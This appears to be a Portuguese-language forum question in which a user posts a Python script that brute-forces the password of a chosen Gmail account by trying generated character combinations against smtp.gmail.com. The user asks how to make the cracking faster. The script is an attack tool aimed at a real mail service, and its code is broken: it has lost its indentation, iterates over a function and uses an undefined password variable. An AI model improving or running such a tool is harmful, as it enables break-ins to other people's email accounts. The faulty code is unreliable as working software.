olá, minha primeira pergunta aqui kkk
estou fazendo um bruteforce sem wordlist, ele esta funcionando, mas leva muito tempo, pois as senhas que ele gera são sem padrões(ex: aaaaab, aaaaaac, assim ate encontrar a senha) queria saber se tem como colocar ele para combinar as letras por silabas, ou qualquer outra ideia que me ajude a diminuir o tempo do bruteforce, mas sem perder a eficácia
segue o codigo:
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = input("Entre com o email: ")
min_digitos = (int(input("Entre a quantidade de caracteres minimos: ")))
qnt_digitos = (int(input("Entre com a quantidade de caracteres maximos: ")))
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890@", min_digitos, qnt_digitos)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print ("[+] Senha encontrada: %s") % symbols
break;
except smtplib.SMTPAuthenticationError:
print ("[!] Senha tem mais do que " + qnt_digitos + ": %s") % symbols
Aucun commentaire:
Enregistrer un commentaire